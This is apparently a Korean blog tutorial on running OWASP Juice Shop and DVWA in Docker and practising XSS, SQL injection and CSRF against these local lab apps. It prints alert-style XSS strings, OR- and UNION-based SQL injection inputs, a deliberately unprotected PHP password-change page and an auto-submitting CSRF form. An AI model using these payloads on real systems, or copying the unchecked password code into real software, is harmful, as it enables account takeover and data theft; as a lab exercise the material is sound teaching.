728x90
✅ 1. XSS (Cross-Site Scription)
기본적으로 Kali Linux에 Docker를 설치해야 합니다. 우선 아래 명령어로 Docker & Compose를 설치해 줍니다.
sudo apt update
sudo apt install docker.io -y
sudo apt install docker-compose -y
- 설치 확인:
docker --version
docker-compose --version
✅ 2. 1단계: OWASP Juice Shop 설치 및 실행
다음 명령어를 통해 docker로 juice-shop을 실행 해 👉 http:localhost:3000에 접속해 봅니다.
sudo docker run --rm -p 3000:3000 bkimminich/juice-shop
- Juice Shop 메인 페이지가 뜨면 성공 ✅
✅ 3. 2단계: DVWA (CSRF 실습)
DVWA는 PHP/MySQL을 기반으로 하기 때문에 Docker Compose를 사용해 실행하는 것이 좋습니다.
version: '3'
services:
dvwa:
image: vulnerables/web-dvwa
ports:
- "8080:80"
restart: always
- 실행
sudo docker-compose up -d
위 명령어를 실행해 브라우저에 http://localhost:8080에 접속합니다.
- 초기 로그인: admin / password
- 첫 실행시 DB 세팅 버튼을 눌러주어야 함 ("Create / Reset Database")
✅ 4. 실습 해보기
💠 1단계: XSS (Cross-Site Scription)
1. 🖥️ 접속
http://localhost:8080
- 로그인: admin / password
- Security Level: Low
2. 메뉴 이동
- 좌측 메뉴 -> XSS (Reflected)
3. 실습
- 입력칸에 다음 코드 입력:
<script>alert('XSS')</script>
- Submit 버튼 클릭 -> 페이지 새로고침 시 alert 팝업이 뜨면 성공
4. 추가 예제
"><img src=x onerror=alert(1)>
<svg onload=alert('hacked')>
🖥️ 2단계: SQL Injection 실습
1. 메뉴 이동
- 좌측 메뉴 -> SQL Injection
2. 실습
- User ID 입력칸에 다음과 같이 입력
1' OR '1'='1
- Submit 버튼 클릭 -> DB 내 모든 사용자 정보 출력 시 성공 ✅
3. 추가 예제
1' UNION SELECT null, version()--
- DB 버전 정보 확인 가능
🖥️ 3단계: CSRF 실습
1. 컨테이너 접속
sudo docker ps
sudo docker exec -it <컨테이너ID> bash
cd /var/www/html
2. CSRF 취약점 소스 수정
- 컨테이너 안에서 다음과 같이 입력
cd vulnerabilities/csrf
nano index.php
- Low 모드에서 실제로 비밀번호 변경이 적용되도록 조건 수정
<?php
session_start();
if(isset($_POST['password_new']) && isset($_POST['password_conf'])) {
$new_password = $_POST['password_new'];
$user = $_SESSION['user'];
// DB 업데이트 코드 실행
echo "Password changed to $new_password";
}
?>
- 컨테이너로 복사
sudo docker ps
sudo docker cp ~/dvwa_edit/vulnerabilities/csrf/index.php <컨테이너ID>:/var/www/html/vulnerabilities/csrf/index.php
- 디렉토리 생성
mkdir -p ~/dvwa_edit/attack
- HTML 파일 작성
nano ~/dvwa_edit/attack/csrf_attack.html
<form action="http://localhost:8080/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="password_new" value="hacked1234">
<input type="hidden" name="password_conf" value="hacked1234">
<input type="submit">
</form>
<script>document.forms[0].submit();</script>
- 컨테이너로 복사
http://localhost:8080/attack/csrf_attack.html
3. 브라우저 접속
http://localhost:8080/attack/csrf_attack.html
- DVWA 로그인 상태에서 열면 비밀번호 변경 성공 ✅ (실제로 바뀌진 않음! 실습용)
728x90
LIST
'보안' 카테고리의 다른 글
[보안] 5. Wireshark와 Nmap으로 네트워크 분석하기 (1) | 2025.08.26 |
---|---|
[보안] 4. Burp Suite 트래픽 분석 및 공격 시뮬레이션 (0) | 2025.08.20 |
[보안] 2.웹 취약점 실습용 서버/클라이언트 + CRUD + HTTP GET/POST (0) | 2025.08.14 |
[보안] 1장 보안이란 무엇인가 - Security (1) | 2025.08.14 |